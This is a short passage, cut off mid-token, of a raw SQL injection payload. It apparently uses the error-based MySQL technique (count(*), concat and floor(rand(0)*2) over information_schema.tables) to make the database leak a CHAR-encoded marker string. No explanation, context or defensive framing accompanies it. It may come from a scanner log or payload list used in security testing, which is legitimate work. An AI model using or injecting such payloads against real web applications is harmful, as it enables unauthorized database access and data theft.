and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(104),CHAR(98),CHAR(110),CHAR(116),CHAR(100),CHAR(118),CHAR(119),CHAR(110)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.t